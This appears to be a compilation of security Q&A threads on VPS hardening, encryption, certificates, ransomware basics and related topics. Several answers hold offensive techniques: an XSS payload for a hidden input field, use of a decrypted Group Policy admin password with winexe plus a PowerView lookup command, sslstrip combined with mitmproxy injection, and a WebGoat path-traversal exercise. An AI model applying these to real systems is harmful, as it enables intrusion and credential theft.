How to improve VPS security? I’m using Linux based VPS hosting, and a firewall and mod_sec help to keep most hackers out. However, over the last couple of weeks I noticed several entries in mod_sec showing that an unknown domain was attacked. Does this mean that the VPS is compromised (I do not see any unknown DNS entries) and other domains are getting a free ride, or is it just pointing to a sloppy setup of the VPS server?

If mod_sec is showing that an unknown domain was attacked then its possible that you still have a default vhost configuration in place on the server.
The default vhost on most distros has no ServerName associated to it, so it will respond to all requests that do not match a ServerName directive in another virtual host. Its probably a good idea to disable the default vhost if you don't need it.

As packs mentioned in his comment, posting some log files would help with diagnosing it further.


Do file hosting services check user data manually by human? I wonder if file hosting services like Dropbox, MediaFire, OneDrive, Google Drive, etc. manually check user data for piracy or copyright infringement. Although their terms of service always say that they respect user privacy, I heard that many user accounts have been suspended because of storing copyrighted contents, so I doubt that they DO. I know they use hash to check for known copyrighted contents instead of doing that 100% manually.

Encrypting data before uploading to file hosting services is a solution to avoid data being checked (both automatic and manual). Now I think of a case: After encrypting a file, then I name that file as "Office-2013-with-crack-fully-working.rar." The file name obviously shows that its content might be a pirated software. Although file hosting services can't open it because it is encrypted, will they notice that file or try to do something?

Yes and no.

There are examples where such companies analyzed content stored by particular user, where it was a part of eg. criminal investigation. So, yes.

However such companies host amount of user data, that manual analysis of everything would by physically impossible, or at least unscalable and horribly expensive.

So, if any company would try to implement any anti-piracy mechanism, it would surely be fully automatic, where human analysis would take place only in later phase, for files automatically marked as suspected or something like that.

On the other hand, if we are talking specifically about piracy indicators, then there already exist several more or less intelligent analyzers, that will detect possible piracy attempts even by more subtle things than strings like "crack" in the file name.

Many aspects can be taken into consideration: file name, size, date of upload (correlation to eg. movie premieres), upload IP, relation of uploader account with other accounts etc.

If you want to know more about this matter, google for Hotfile.com closure.


Security considerations when selling a printer Ive got an M281fdw laser printer, which i have used for about a year, which I wish to sell.

Are there any security issues to consider when selling a printer that has been used.

My considerations so far have been :

Would any previously printed / scanned documents be viewable / recallable by the purchaser
Would any wifi passwords stored on the computer be accessible to the purchaser

Some older printers actually have hard drive storage buried inside them to queue up print jobs and act as supplementary memory.  More modern printers have flash storage that serves the same purpose and has the same issue.

It appears your printer, the HP MFP M281fdw has 256 MB of Flash storage in it. You'd need to either remove the Flash storage before selling it, or figure out how to clear it.  Check your manual.

  Memory, standard 256 MB DDR, 256 MB Flash

  https://store.hp.com/us/en/pdp/hp-color-laserjet-pro-mfp-m281fdw


Why is the digest algorithm specified in two places in CMS / PKCS7? In RFC5652, Cryptographic Message Syntax (CMS), section 5.3. SignerInfo Type, there's a digestAlgorithm field that has values like id-sha256, id-sha1, etc.

In that same RFC, section 5.1. SignedData Type there's a digestAlgorithms field that in my testing generally has as many entries in it as there are SignerInfo's.

My question is...  why is the digestAlgorithm field being specified in two places? It seems unnecessarily redundant.

As 5.1 says (redacted and emphasis added):

  digestAlgorithms ... is intended to list the
        message digest algorithms employed by all of the signers, in any
        order, to facilitate one-pass signature verification.
        Implementations MAY fail to validate signatures that use a digest
        algorithm that is not included in this set.  ...

In other words, a receiver/verifier can start from the beginning of the message and:

read digestAlgorithms and set up contexts for those algorithms
read encapContentInfo and run the data, which can be quite large depending on the digest(s) e.g. 2^64 for SHA-1, through the digest algorithm, or algorithms in parallel, and at the same time also store and/or process and/or relay the data as desired; or if "detached" obtain the data from somewhere else and similarly run it through the digest(s) and maybe other use.
read certificates and crls if present and keep them handy if desired and not too large and not duplicating data already available locally; can discard them if desired, conditional on being able to re-fetch them if and when needed using things like LDAP or AIA (including OCSP)
read signerInfos and for each one (of interest) select the correct already-computed digest and use it, plus the signedAttrs if used, to verify the signature, without going back to the data

Although not so clearly stated, this is also the reason many (not all!) structures in CMS are specified as BER, which can at the sender's choice use indefinite-length encoding, instead of DER, which cannot.


GnuPG symmetric encryption yields different output I have a use case where I want to commit symmetrically encrypted source code using GnuPG (think of Coursera assignments for backup and collaboration). I encrypt/decrypt all sources in a batch with a script and was wondering, why the output is not stable.

So basically, why does

echo "plain text" | gpg --armor --symmetric --cipher-algo AES256

with password secret yield different cipher texts with each call? (Surely enough, this doesn't affect the decryption – different cipher texts may decrypt back to the same plain text.)
I am not experienced with crypto algorithms, but skimming the Wikipedia article it seems the algorithm is deterministic.

So in short, my questions are:

Is this behaviour a property of AES or am I using GnuPG incorrectly?
If the former is the case, are there other symmetric crypto algorithms which are better suited for this use case?

Usually, symmetric encryption starts with a random initialization vector (IV). OpenPGP uses a slightly different cypher feedback mode with an all-zero IV, but the first two blocks are random.

Because of this, also the symmetric encryption is not deterministic; you cannot compare the plain text by comparing the encrypted message, the encrypted result is not deterministic any more.


Are darknets in the internet like Tor and i2p similar to darknets implemented for security like the CAIDA network telescope? I am planning to implement a darknet in an organizational network to work alongside Snort to detect malicious scanning activities in the network like the CAIDA network telescope/Internet Motion Sensor. I am a little confused with the darknets like Tor and Freenet which are in the internet and the concept which I want to implement. I know that there is a difference between them in terms of functionality and implementation, but will it be wrong to categorize both of them as darknet? I couldn't find a proper distinction between them anywhere.

TLDR:
 - The two are distinct concepts (as you noted)
 - The use of "darknet" in both cases is coincidental
 - As of 2015, "darknet" would be much more likely to refer to a private overlay network

In full:

In their paper about operating the Internet Motion Sensor (Bailey et al, "Practical Darknet Measurement") refer to the unallocated IP range as a portion of "darknet" and cite the website for a similar malware distribution monitoring system "The Darknet Project" (http://www.team-cymru.org/darknet.html) as the source of the name. They in turn cite no source and appear to have coined the term themselves.

In both cases the descriptions are clear about their use of the term as unallocated address space and do not relate it to the other common definition; an overlay network that is not directly accessible by standard protocols and applications as used to browse the rest of the WWW.

This appears to be simply a matter of the same name appearing independently in two contexts. The paper by Bailey et al, for instance, was written in 2006. At that point the word "darknet" was still largely up-for-grabs (the concept of Tor had been presented in 2004 and was not yet as well-known as it is now). That is no longer the case as the use of the word to describe an overlay network overwhelmingly dominates public consciousness. In research circles specifically focusing on internet traffic monitoring the use of "darknet" to refer to an unallocated IP range would likely still be understood, but I would personally avoid it in favour of one of the alternative names.


Risk classification of authenticated XSS During a security test I was wondering what the risk classification would be in an authenticated XSS vulnerability. I understand that it depends on classification schemes, so the focus in this question is "what are the leftover risks?" and would that classify (guess-timate) as low, medium, high or critical.

The vulnerability:

An authenticated user can inject JavaScript in a part of the website/application that is only accessible by other authenticated users.

Constraints:

There are different roles/groups of users, but the part of the site is only accessible by a specific group (with different roles).
Authentication cookies have the HTTPonly flag
It is not directly after login, the user needs to actually click through a couple of screens to get to the actually vulnerable part/post

If you are assigning risk ratings such as low/medium/high, then I usually start off by classifying stored XSS as high risk:

  There are different roles/groups of users, but the part of the site    is only accessible by a specific group (with different roles).
  Authentication cookies have the HTTPonly flag

These may be mitigating factors for reclassifying it as a medium risk. The question lies whether horizontal privilege escalation offers an attacker any advantage.

e.g. is there private data an attacker could access only available within the compromised session.

If all users in the group can see and affect the same data, then I would not classify it as high risk.

I'm slightly confused by your wording though

  specific group (with different roles)

If these roles have access to different things then this would probably be enough to leave it as a high.


How does Bitlocker only-PIN method work? Microsoft explained USB-key and TPM based BitLocker decryption process on this article. USB-Key process:

  The steps in the illustrated sequence are as follows:

  1- The operating system starts and prompts the user to insert a USB device that contains the USB key.
  2- The VMK is decrypted with the key on the USB device.
  3- The encrypted FVEK is read from the volume and the decrypted VMK is used to decrypt it.
  4- Disk sectors are decrypted with the FVEK as they are accessed.
  5- Plaintext data is provided to applications and processes.

TPM initializing process:

  The steps in the illustrated sequence are as follows:

  1- The BIOS starts and initializes the TPM. Trusted/measured components interact with the TPM to store component measurements in the TPM's Platform Configuration Registers (PCRs).
  2- If the PCR values match the expected values, the TPM uses the storage root key (SRK) to decrypt the volume master key (VMK).
  3- The encrypted FVEK is read from the volume and the decrypted VMK is used to decrypt it.
  4- Disk sectors are decrypted with the FVEK as they are accessed.
  5- Plaintext data is provided to applications and processes.

In windows 8 and 8.1, BitLocker got a new feature which allows user to use only a PIN to decrypt data.
But how does Only-PIN based decryption works? where TPM and USB-key features both are disabled and we use only a password-like PIN to decrypt volume data. Does it decode VMK then FVEK like other methods or it decrypt data directly?

It will function the same way as the USB key.
The key that is used to encrypt the data will always be a separate key to the one that the user provides. The user will provide a key which will be used to construct the key-protector key. This is used to decrypt the Volume Master Key (VMK). The VMK is used to decrypt the Full Volume Encryption Key (FVEK), which actually encrypts the data on the disk.
This is done so that if you change your password, you don't have to re-encrypt your entire hard drive contents.
It's explained pretty nicely in this TechNet article:

BitLocker Keys
Any time you deal with encryption, you need to know about keys, and BitLocker is no exception. BitLocker uses an elegant, but somewhat complex, architecture of keys.
The sectors themselves are encrypted using a key called the full-volume encryption key (FVEK). The FVEK, though, is not used by or accessible to users. The FVEK is in turn encrypted with a key called the volume master key (VMK). This level of abstraction gives some unique benefits, but can make the process a bit more difficult to understand. The FVEK is kept as a closely guarded secret because, if it were to be compromised, all of the sectors would need to be re-encrypted. Since that would be a time-consuming operation, it’s one you want to avoid. Instead, the system works with the VMK.
The FVEK (encrypted with the VMK) is stored on the disk itself, as part of the volume metadata. Although the FVEK is stored locally, it is never written to disk unencrypted.
The VMK is also encrypted, or "protected," but by one or more possible key protectors. The default key protector is the TPM. Use of a TPM is discussed in the following section on integrity checking. A recovery password is also created as a key protector, for emergencies. Recovery is also discussed later.


VPN disconnection and snooping When you use VPN, what happens if the VPN server goes offline? Would Windows silently revert to using your LAN connection, without notifying you?

This would be an OK behavior if you use VPN to access resources on some other network, but what if you use it to prevent logging of your browsing activity (example: employers' network)? Would you suddenly be visible without realizing it, like in the cartoons where the invisible powder stops working and everyone sees our hero sneaking about?

Is there a way to tell Windows to prevent Internet access until you explicitly say you don't need VPN anymore?

In most cases if your VPN server drops a connection, your operating system will just start routing traffic using it's standard networking mechanisms.

If you'd rather it dropped all traffic when the VPN was down, you could looking at setting up your firewall to only allow traffic to go out over the VPN interface and not the standard network interface cards (with the obvious exception of access to the VPN server itself)


How I can read and handle MS Office documents, such as doc/ppt files, securely? I've heard of too many horror stories of people opening a seemingly innocent docx or pptx file that they've got from a business partner, only to find out that it had embedded malware inside. What should a security conscious person do if they receive a doc or a ppt file that they wish to see the contents of, but cannot guarantee the reliability of its source? Is there any recommended practice to handle this, besides 'don't do it'?

There are a number of ways that you can deal with files that can be malicious depending on the amount of time and expertise that you want to invest. Here are a few ideas and suggestions:

Anti-malware product

This is essentially the bare minimum. Have some form of anti-malware product on your system where you can force a scan of the file and see what it says. This is typically great for known malware families and will give you a good indication

Best practice based on how the file was received

Did you expect to receive the document? Who has it come from? Are you being asked to enable active content when the file opens? Is it in a password-protected archive with the password in the body of the e-mail?
These are all common questions we can ask ourselves when receiving files (especially via e-mail). In many cases, a malicious attachment will be an unexpected / generic e-mail from someone which you weren't expecting.

Use a Sandbox

Sandboxes allow you to see the behaviour of the file without opening it in your environment. These typically do a deeper scan of the file than you will get with on box anti-malware products. There are a number of cloud sandboxes that you can try:

SophosLabs Intelix
Hybrid Analysis
Joe Sandbox

A word of caution here; beware of submitting private files to free-to-use services. If you are not paying for the service, your file will most likely be shared among the community. This is of course great for malware samples, but less so for confidential information.

VirusTotal

Finally, VirusTotal gives a good representation of what the industry as a whole knows about files. You can also upload samples to get them scanned by multiple vendors at once. NOTE: The above caveat about privacy applies.
Here you have to make your own decision, do you believe a file is malicious if 1, 10, 20, 50 vendors mark it as malicious?
As you can probably tell there is no one size fits all answer to this question.


Is it possible to classify Wi-Fi Security Level without connect to Wi-Fi Is it possible to classify Wi-Fi Security Level (such as Secure, Non-secure, etc.) without connect to Wi-Fi.

I don't know is it possible, but if not, can we still classify Wi-Fi security level when connect to Wi-Fi?

Yes, it's possible. I do a lot with the ESP8266 micro controller, and it's API offers a wifi scan that returns the SSID, encryption type, signal strength, hidden/public, etc.
How you perform such a scan depends on software and the device, but it's possible 100%.

Doc ref: https://github.com/esp8266/Arduino/blob/master/libraries/ESP8266WiFi/src/ESP8266WiFiScan.h#L43


Any eventhandlers that apply to hidden elements? I'm trying to XSS a search field and my attack vector is getting reflected like this:

<input type="text" id="txtRpHiddenKeyword" style="display: none;" value="ATTACK VECTOR HERE" />

Only double-quotes are allowed and angle brackets are encoded therefore I can only use eventhandlers to execute my JavaScript. Problem is that display is set to none, therefore onMouseOver, onClick etc. won't work, so my question is, are there any other eventhandlers that apply to hidden elements?

This vulnerability is exploitable in Firefox via onaccesskey in combination with onclick:

accesskey="X" onclick="alert(1)">


Everykey (Bluetooth master key) - is it really secure? Obligatory disclosure I have no relation to the Everykey company and do not mean to promote them in any way.

I came across the product Everykey that claims to be "your only key" by allowing you to unlock all your access-controlled devices when you're nearby including car/house door, phone, even logging you into websites. While this sounds cool it also instantly raises many red flags for security.

Their website does a good job of addressing this by explaining they use AES 128-bit encryption to prevent password cracking and eavesdropping

  Everykey utilizes AES 128-bit encryption, the same encryption that's used by the military to protect documents with confidential and secret security levels.

it uses a pseudorandom algorithm when sending signals to prevent replay attacks and spoofing

  Each time Everykey broadcasts an encrypted Bluetooth 4.0 message, it is different from the previous message, preventing a hacker from sniffing a message and re-broadcasting it.

and the passwords are only stored on the devices themselves and only the device can decrypt the received signal.

  Your Everykey broadcasts encrypted information to identify itself, which only your devices are able to decrypt

But how safe is this really? It seems to sound like a garage door opener with better encryption, is that good enough to prevent attacks? Aside from the obvious issue of if you lose the physical device whoever finds it has access to everything.

First of all, I have no access to real technical specs, I just know what the site (and the question) is saying. (The site has a specs section, but it's completey useless. It's just stuff like which OS are supported).

  But how safe is this really?

Judging from the available information, not at all.

Some reasons, in no particular order:

As you said, one key for everything is a huge red flag. Would you want a key that locks both your house and car, gives access to your bank account, and is enough authentication for a divorce?  Probably not.

  the same encryption that's used by the military

This (haha) is a 1000%-sure sign that they just want money, not security.

No real, detailled description of the security scheme available: No one can check if the employees made some error, or if it is really secure. Since humans are not perfect ... History shows that many "closed-source" security stuff gets cracked pretty easily. A secure algorithm can be called secure after people knowing how it works tried to crack it, and failed, that's one of the most important and basic rules in cryptography. Also see Kerckhoffs law on Wikipedia.

AES128 is the weakest AES variant, that's no reason to boast with it.
(And without more information, even the storngest AES variant could be bad).

Using AES to prevent password cracking means that there is a key. What prevents key cracking? And why do the use a reversible algorithm to prevent password cracking at all? While there could be a reason, it sounds more like an beginner-level error.

Bluetooth has some security risks itself.

  Each time Everykey broadcasts an encrypted Bluetooth 4.0 message, it
  is different from the previous message, preventing a hacker from
  sniffing a message and re-broadcasting it.

Just introducing some difference in each message does not prevent anything.
This statement is just nonsense.

  Your Everykey broadcasts encrypted information to identify itself,
  which only your devices are able to decrypt

So all devices have the key (AES is symmetric). An attacker doesn't even need to steal your bluetooth dongle, control over any bluetooth-y thing in your house is enough.


Grabbed Groups.xml file, winexe problem I grabbed the password hash from a domain's Groups.xml file and decrypted the hash. However the decrypted password contains characters "%" and "^", and I'm having problems using it with winexe. No matter what I try, it tells me the credentials are incorrect. I'm trying:

winexe -U Administrator%test^pass%1234 //lab-host-ip "cmd"

I escaped both characters using \^ and \% but it still gives me an authentication error. I tried double and single quotes but no luck. What am I doing wrong?

The password may be wrong. You found it in a group policy, but the group policy might not actually apply to any machine, or at least not the machine you are testing it with. They could have changed the password or maybe they deployed LAPS since then.

You can try this (from PowerView) to find out to which computers the GPO applies:

# retrieve all the computer dns host names a GPP password applies to
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993


3DES Security - safe use cases What are safe use cases for 3DES? Is it safe to use it in situations where you are encrypting smaller amounts of data?

After the recently published 'birthday attacks' on 3DES (eg SWEET32), I've read some people calling it broken.

As stated by https://sweet32.info/, 3DES is as safe as it has always been. You just have to follow the requirements for it, i.e. not using it for more than 32 GB of data with the same key.

The proof of concept of the attack mentioned in the website needed 610 GB of recorded communications. Those communications were simulating a worst-case scenario.

In practice, as long as you use it to browse websites, you should be fine as it will be hard to communicate 32 GB of (repetitive) data to a single website. However, do not use it to secure a VPN or long-lived communications.

As a side note, 3DES is considered weak because its key is limited to 112 bits.


Risks of giving developers admin rights to their own PCs I need to convince my internal IT department to give my new team of developers admin rights to our own PCs. They seem to think this will create some security risk to the network. Can anyone explain why this would be? What are the risks? What do IT departments usually set up for developers who need ability to install software on their PCs.

  This question was IT Security Question of the Week.
  Read the June 8, 2012 blog entry for more details or submit your own Question of the Week.

At every place I have worked (as a contract developer) developers are given local admin rights on their desktops.

The reasons are:

1) Developers toolsets are often updated very regularly.  Graphics libraries, code helpers, visual studio updates; they end up having updates coming out almost weekly that need to be installed.  Desktop support usually gets very tired of getting 20 tickets every week to go install updated software on all the dev machines so they just give the devs admin rights to do it themselves.

2) Debugging / Testing tools sometimes need admin rights to be able to function.  No admin access means developers can’t do their job of debugging code. Managers don't like that.

3) Developer tend to be more security conscious and so are less likely to run/install dangerous malware. Obviously, it still happens but all in all developers can usually be trusted to have higher level access to be able to do their work.


Do I put my subordinate (intermediate) or root CA certificate in my truststore? I have a server using a certificate signed by my subordinate (intermediate) CA.

My java based client needs to put either the intermediate or root CA cert in it's truststore so when it communicates with the server it knows it can trust that server cert.

Am I supposed to put the intermediate or root ca certificate in the truststore?

I know intermediate CAs are used to enhance security by protecting the root, so my inclination is to never include the root in anything.  But, I'm struggling to understand exactly how this all works.

Enlighten me :)

Generally speaking, you should be putting the root cert in stuff. The model generally works like this:

Clients

Have the root cert "pinned" (ie embedded in trust store).

Whevever they validate a cert, it needs to trace back to some cert in their trust store, the number of intermediate certs between the end-cert and the pinned cert should be irrelevant, so there's no reason not to pin a root cert - at least from the client's perspective.

Certificate Authorities

What to do in the case of the CA key being compromised is a big concern for people who run CAs. To make the cleanup easier in the case of something bad, people usually use an "offline root":

Have your root CA sign some subordinate CAs, then unplug the root CA (if the CA is a dedicated physical server), or hide the root private key on a well-protected backup disk and make sure there are no copies floating around. This makes it very hard for hackers to steal the private key.
Do your day-to-day cert issuance, CRL publishing / OCSP, etc off the intermediates. They are connected to the internet and therefore at higher risk of compromise.
In the case of compromise of an intermediate CA, you can fire up your root CA, revoke that intermediate, bring up a brand new intermediate and re-issue all of the legitimate certs that got incidentally revoked.
Servers that were using certs signed by that intermediate will have to install the newly-issued cert since their old ones are now revoked.
Clients will be completely unaffected since they have pinned the root cert, so swapping around the intermediates has absolutely no effect.

As a though-experiment, compare the above to what you would have to do if your root CA key gets compromised. Since it can take months to years for a root to get embedded in the public browsers, vpn clients, other servers, etc it probably means the CA will go out of business.

Advantages of pinning a root, vs pinning an intermediate:

The example above illustrates that pinning the root makes it MUCH easier to cleanup from a compromise because you can simply revoke the compromised intermediate, re-issue some certs and move on with your life.
There are fewer certs in your trust store. If everybody had to pin every intermediate, everybody's trust stores would be much larger to the point where it could impact the performance of cert validation since searching the trust store would take longer.
Load-balancing: by pinning the root you're free to re-arrange the topology of your intermediates, or even put them behind a load-balancer for handling cert requests and the clients won't care.


How secure is NTFS encryption? How secure is the data in a encrypted NTFS folder on Windows (XP, 7)?

(The encryption option under file|folder -> properties -> advanced -> encrypt.)

If the user uses a decent password, can this data be decrypted (easily?) if it, say, resides on a laptop and that is stolen?

How secure is the data in a encrypted NTFS folder on Windows (XP, 7)?

What is EFS?

Folders on NTFS are encrypted with a specialized subset of NTFS called Encrypting File System(EFS). EFS is a file level encryption within NTFS. The folder is actually a specialized type of file which applies the same key to all files within the folder. NTFS on disk format 3.1 was released with Windows XP. Windows 7 uses NTFS on disk format. However the NTFS driver has gone from 5.1 on windows XP to 6.1 on Windows 7. The bits on the disk have not changed but the protocol for processing the bits to and from the disk has added features in Windows 7.

What algorithm does it use?

Windows XP (no service pack): DES-X (default), Triple DES (available)

Windows XP SP1 - Windows Server 2008: AES-256 symmetric (default), DES-X (available), Triple DES (available)

Windows 7, Windows Server 2008 R2: "mixed-mode" operation of ECC and RSA algorithm

What key size does it used?

Windows XP and Windows 2003: 1024-bits

Windows Server 2003: 1024-bits (default), 2048-bits, 4096-bits, 8192-bits, 16384-bits

Windows Server 2008: 2048-bit (default), 1024-bits, 4096-bits, 8192-bits, 16384-bits

Windows 7, Windows Server 2008 R2 for ECC: 256-bit (default), 384-bit, 512-bit

Windows 7, Windows Server 2008 R2 for for AES, DES-X, Triple DES: RSA 1024-bits (default), 2048-bits, 4096-bits, 8192-bits, 16384-bit;

How is the encryption key protected?

The File Encryption Key (FEC) is encrypted with the user's RSA public key and attached to the encrypted file.

How is the user's RSA private key protected?

The user's RSA private key is encrypted using a hash of the user's NTLM password hash plus the user name.

How is the user's password protected?

The user's password is hashed and stored in the SAM file.

So, If an attacker can get a copy of the SAM file they may be able to discover the user's password with a rainbow table attack.

Given the username and password, an attacker can decrypt the RSA private key. With the RSA private key, the attacker can decrypt any FEC stored with any encrypted file and decrypt the file.

So...

The contents of the encrypted folder are as secure as the user's password.

  If the user uses a decent password, can this data be decrypted (easily?) if it, say, resides on a laptop and that is stolen?

Probably not by an adversary with a typical personal computer. However, given sufficient resources, like a GPU or FPGA password cracking system, EFS data may be vulnerable within a short period.

A random 12-character (upper lower and symbol) password may hold out for weeks or months against a password cracking system. See  "Power of Graphics Processing Units May Threaten Password Security" A significantly longer password may hold out for years or decades.


SSL over self-implemantation of RSA? I currently write a client application which communicates with a PHP server.

The application itself requires valid user credentials and get all of his information by doing POST requests to the PHP server. Is the first scenario safe or should I use SSL/TLS instead?

1st scenario (already implemented):

Client application has a hardcoded RSA public key
Application generates a random AES key and IV on each start. (Never uses the same key and IV to encrypt the username and password)
Client application encrypts the AES key and IV with RSA public key in a string
PHP server decrypts the string and stores the AES key and IV
Client application encrypts the username and password when trying to login
PHP server receives the encrypted data, decrypts the data and uses password_verify to see if login credentials match which the stored ones
After successful login the client application needs some user data and request a nonce from the PHP server using the encrypted username and password
The PHP server encrypts the nonce and sends it to the client application
The client application decrypts the nonce and sends it with the POST request
PHP server takes a look in the database and sees that the nonce is valid
PHP server sends the AES encrypted data the user asked for
The client application now decrypts the data

2nd scenario:

Implementing mutual ssl authentication

If you want some serious security, you need to think not only about confidentiality (making the data unreadable to passive eavesdroppers) but also integrity (reliably detecting alterations from active attackers). Active attackers are not a sci-fi notion; the typical cheap active attacker is a bad guy who sits in a park or a restaurant and operates a fake "free WiFi" access point, waiting for victims to connect through him.

Integrity must be guaranteed within each individual message (so "AES encryption" is not sufficient, you also need a MAC) and between successive messages (the attacker might try to drop messages, duplicate messages, reorder messages, and mix conversations between various servers and clients).

All of this can be done, but it requires a lot of care and effort, and the final result will be, more or less, SSL/TLS: when your protocol has been sufficiently expanded and fixed to account for all the possible attacks, it will exhibits internal features similar to that of TLS, with comparable complexity. Therefore, there is little gain to expect over simply using TLS.

Moreover, the protocol which is easiest and fastest to design and implement securely (a rather daunting task) is the protocol which has already been designed and securely implemented, so you will save a lot of time and headaches by simply using TLS. In your specific case, where you have a dedicated application, you could use a basic self-signed certificate on the server side and hardcode a copy of that certificate in the client, so that X.509 validation is a simple bit-by-bit comparison (so no need to buy and renew a certificate from a commercial CA). This certificate handles server authentication; once the tunnel is set, the client can simply send the username and password within it.


How does “Ransomware” Work? So I am wondering how Ransomware files work.

I know Ransomware encrypts all files with AES-256 for speed but where does RSA come in? Apparently RSA is slow to encrypt files so it uses AES-256 first and then RSA? Can someone explain that to me?

Also, does the RSA key come from the criminals C&C's server which locks the AES key? IF this is the case, shouldnt the AES key be recoverable?

If its possible for anyone to give me a full rundown on how Ransomware usually works in encrypting files, that would be nice.

Thanks

It really depends on developer of the ransomware. Ransomware itself is just malware requesting payment to get removed from your computer. To influence the victim to pay techiques such as preventing or making an particular task more difficult.

The unlock code will be just an cryptography public/private key. So, the victim will only have the public key and owner will have the private key which will be provided on payment of the victim to release the malware from the machine. You don't need to run a website for the private key as whatever prompt the user for payment will just expose the public key. So, the owner can will have private key to go with that public key.

Wiki - Public-key cryptography

Wiki - Ransomware


Email address book stolen The way I have set up my email system allows me to put the name of a company (that say I am buying a book from) in front of the @ and my domain name.net after it.  So, when I get an email from amazon@****.net, and it's from a different company, I would know that Amazon have sold my email address or their email address book has been stolen.

This has happened today with groupon.co.uk who tell me that it's not their fault that I have received a nasty spam email addressed to groupon@****.net, it's probably come from a cookie which I have on my computer.  Is that possible?

No, it's not possible. If you've only used the groupon@****.net email address on the Groupon website then any cookie it might be in is only readable by Groupon themselves, or by a third-party whose content Groupon have permitted to appear on their website (unless the security of your own computer has been compromised).


Untrusted Connection after installing SSL Certificates from Let's Encrypt I got 2 certificates issued from "Let's Encrypt", one for "crackerscreed.org" and the other for "www.crackerscreed.org". The cPanel on my hosting service says:

  When cPanel installs an SSL certificate onto one of your domains, it also installs the same certificate onto that domain’s “www” subdomain, and vice-versa. Unless your certificate matches both domains, however, only one of the two domains will show as a secure site in a user’s web browser.

Currently, I have the "crackerscreed.org" cert installed.

Now, if I try to visit https://crackerscreed.org it works perfectly fine but if the visitors try to visit https://www.crackerscreed.org, they receives an error saying "the connection is insecure". How do I deal with it?

You seem to have a problem with

understanding how https works,
what let’s encrypt certificates can do and
what you need

Let‘s make this as simple as possible:
(For SNI, see below)

You have two certificates for two domains both hosted on the same IP. When a client connects and asks for a certificate, how would the server know what domain has been requested before the http request is handled?

The TLS handshake (the one where your server presents its certificate to the browser) comes before the http request by the browser, otherwise the requests wouldn’t be encrypted nor authenticated.

This is where SAN (Subject Alternative name) comes into play: it allows for one certificate to be made out to different domains (for example www.test.com and test.com). You do not need two certificates but one for both domains.

Edit for future reference:
Apart from SAN certificates for multiple domains, there is a method called SNI (Server Name Indication) that does allow for the server to know the domain name during the handshake.
Thus, the server can know the host name at the right time and present the right certificate.
This can be more complex to set up and maintain and in this case (the two domains belonging to and representing the same entity), a multiple domain certificate as described above does a better job at representing the situation than SNI.


PKCS12 password stolen - what's the security impact? I want to know that what the security impact is if someone leaks the password of a PKCS12 certificate. I am referring to the password which is required when we export the certificate.

The password unlocks the encrypted private key of the certificate, so an attacker always needs both, the PKCS-file and a password to successfully use the certificate.

Please mind, that most humans tend to use the same password for more than one purpose, so there are chances that a other person can make his way to the pkcs file with this password (for example a logon on a file server or similar).

How risky this is depends on more factors:

--> For what is sites is this certificate? Are more SANs specified - if yes how critical are the webservers who host this sites?

--> In worst it´s a wild-card certificate. This would give an attacker the chance to issue trustful sites for everything ending with your company name (evil.corp.com, trustme.corp.com,...)

--> How is revocation done in your PKI Infrastructure? Does every single device who checks certificates in your environment do revocation right? There is still the issue that most browsers tend to accept certificates if the CRL can´t be contacted so even that is no 100% solution.

and so on...in most cases you should definitly revoke the certifcate, generate a new private key on the server who needs the certificate and only keep it there nowhere else..


is OSSEC effective in protecting a Drupal installation? I noticed that the 2.8.1 rules have wordpress and other products listed, but no Drupal rules.  Is its safe to assume OSSEC, acting like an IPS in active mode, is just not going to block any Drupal specific attacks? I understand there are generic rules in OSSEC that might stop a generic attack (sql injection I suppose) but I'm really looking for something that'll play nice with Drupal. Is OSSEC the right solution here? After the last major Drupal exploit, I've been thinking of having an IPS on all my LAMP servers. They are all on the cloud as VPS's so they can't sit behind my office's Sonicwall doing IDS/IPS like my other servers do.

OSSEC is a host intrusion detection system and if you are running just a web server, then is not the best solution.

In my opinion you need a WAF (web application firewall). mod security with OWASP ruleset is a good choice. Of course you need to invest time to configure it, but is less complicated than OSSEC. Also have hundreds of rules for all kind of CMS / blogs etc.

OSSEC is a good choice, if you give access to others to manage the system and you don't have a strict access control for ssh/ftp/sftp/etc.

If you take in consideration to use a WAF, I suggest you to also install fail2ban (fail2ban integration with Drupal: https://www.drupal.org/project/fail2ban).


MITM: sslstrip + mitmdump I'm doing some MITM injection with mitmdump (mitmproxy):

 mitmdump -s 'injection.py' -m transparent

it works perfectly (over HTTP) as intended.

Then I heard of SSLstrip :

sslstrip -l 8080

which works as intended as well.

But I don't understand how to do my "own injection" (injection.py) + SSLstrip.

Running mitmdump after SSLstrip or vice versa tells me that 8080 is already in use.

Error starting proxy server: OSError(98, 'Address already in use')

How to combine SSLstrip + mitmdump? How to run an external injection script (injection.py) + SSLstrip? Is there an other/better way?

You can replicate SSLStrip's functionality using a Mitmproxy script. In the examples directory of the Mitmproxy source tree, see sslstrip.py.

You can simply modify the request or response functions in this script to perform the custom injection that your own script does.


How can I intercept localhost traffic to/from WebGoat with ZED attack proxy? For context I recently started working through the WebGoat appsec training program, and have hit a wall passing data to a program needed to complete a lesson.
One of the first lesson sets is entitled ""Access Control Flaws".
The first lesson description states:

The 'guest' user has access to all the files in the lessonPlans/en directory. Try to break the access control mechanism and access a resource that is not in the listed directory. After selecting a file to view, WebGoat will report if access to the file was granted. An interesting file to try and obtain might be a file like WEB-INF/spring-security.xml. Remember that file paths will be different depending on how WebGoat is started.
Current Directory is: /.extract/webapps/WebGoat/plugin_extracted/plugin/SqlNumericInjection/lessonPlans/en
Choose the file to view: (List of files is below)

Choosing a file from the list gives an error that it is in the list. At first I tried manually typing out URLs, but realized I'd have to modify the request somehow. I caved and looked at the solution, which states:

This lesson can be solved by intercepting the filename in WebScarab and replacing it with ../main.jsp which is a file located in a folder below the current directory.

Ok, so my instinct was correct - now comes operationalizing my intention into action.
Googling found that WebScarab == the old name for the OWASP Zed Attack Proxy.
More Googling found that in order to pass data to ZED, I needed to set up a proxy in Firefox.
So I went into Firefox, and set up the proxy. Note that 127.0.0.1 and localhost have been removed from the "No proxy for" field, :

However, when I navigate back into WebGoat (which is hosted locally at localhost:8080/WebGoat), nothing is intercepted. Traffic to external websites is is intercepted, so I suspect the issue is that for some reason ZAP is not receiving my WebGoat traffic.
I'm sorry this is a bit of a simple question, but I've researched a lot and can't seem to find any solutions.
TL;DR: How can I make sure ZED intercepts localhost traffic when viewing OWASP GOAT lessons in Firefox? (Traffic to external websites is intercepted, just not localhost traffic)

